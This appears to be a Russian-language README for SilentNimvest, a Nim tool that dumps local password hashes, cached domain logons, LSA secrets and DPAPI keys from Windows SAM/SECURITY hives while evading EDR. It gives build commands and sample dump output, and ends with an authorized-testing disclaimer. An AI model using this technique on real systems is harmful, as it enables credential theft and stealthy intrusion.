frkngksl/silentnimvestРеализация на Nim для метода sud0Ru по извлечению учетных данных из кустов SAM/SECURITY (также известного как SilentHarvest)
В основном, SilentNimvest — это парсер кустов SAM и Security, написанный на Nim. SilentNimvest читает ключи в этих кустах, используя технику Silent Harvest. С помощью этой техники обычная учётная запись администратора, включившая привилегию SeBackupPrivilege (благодаря флагам NtOpenKeyEx), может извлекать хеши локальных пользователей, кэшированную информацию о доменном входе, секреты LSA и другие секреты, которые можно получить из этих кустов, используя менее заметный для EDR API чтения реестра — RegQueryMultipleValuesW. Весь проект основан на исследовании sud0ru.
Вы можете напрямую скомпилировать исходный код с помощью следующей команды:
nim c -d:release -o:SilentNimvest.exe Main.nim
Если вы получите ошибку "не удается открыть файл", вам также необходимо установить необходимые зависимости:
nimble install winim nimcrypto checksums des
SilentNimvest может быть запущен напрямую без обязательных параметров из терминала с повышенными привилегиями администратора.
PS C:\Users\test\Desktop\SilentNimvest> .\SilentNimvest.exe
__ _ _ _ __ _ _
/ _(_) | ___ _ __ | |_ /\ \ (_)_ __ _____ _____ ___| |_
\ \| | |/ _ \ '_ \| __|/ \/ / | '_ ` _ \ \ / / _ \/ __| __|
_\ \ | | __/ | | | |_/ /\ /| | | | | | \ V / __/\__ \ |_
\__/_|_|\___|_| |_|\__\_\ \/ |_|_| |_| |_|\_/ \___||___/\__|
@R0h1rr1m
[!] Trying to parse SAM Related Credentials (Local Users)
[*] Local User RID: 500 - Administrator - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 501 - Guest - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 503 - DefaultAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 504 - WDAGUtilityAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 1001 - zoro - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[!] Trying to parse Security Related Credentials (Cached Domain Logon Info, Machine Account and LSA Secrets)
[*] DPAPI Keys: dpapi_machinekey: ea31d6cfe0d16ae931b73c59d7e0c089c037b & dpapi_userkey: 44431d6cfe0d16ae931b73c59d7e0c089c0d0
[*] NL$KM: 1f31d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c0c01
[*] Plaintext User from _SC_Backupservice: .\zoro:SilentNimvest
Только для авторизованного тестирования безопасности. Неправомерное использование этого инструмента против систем без явного разрешения незаконно.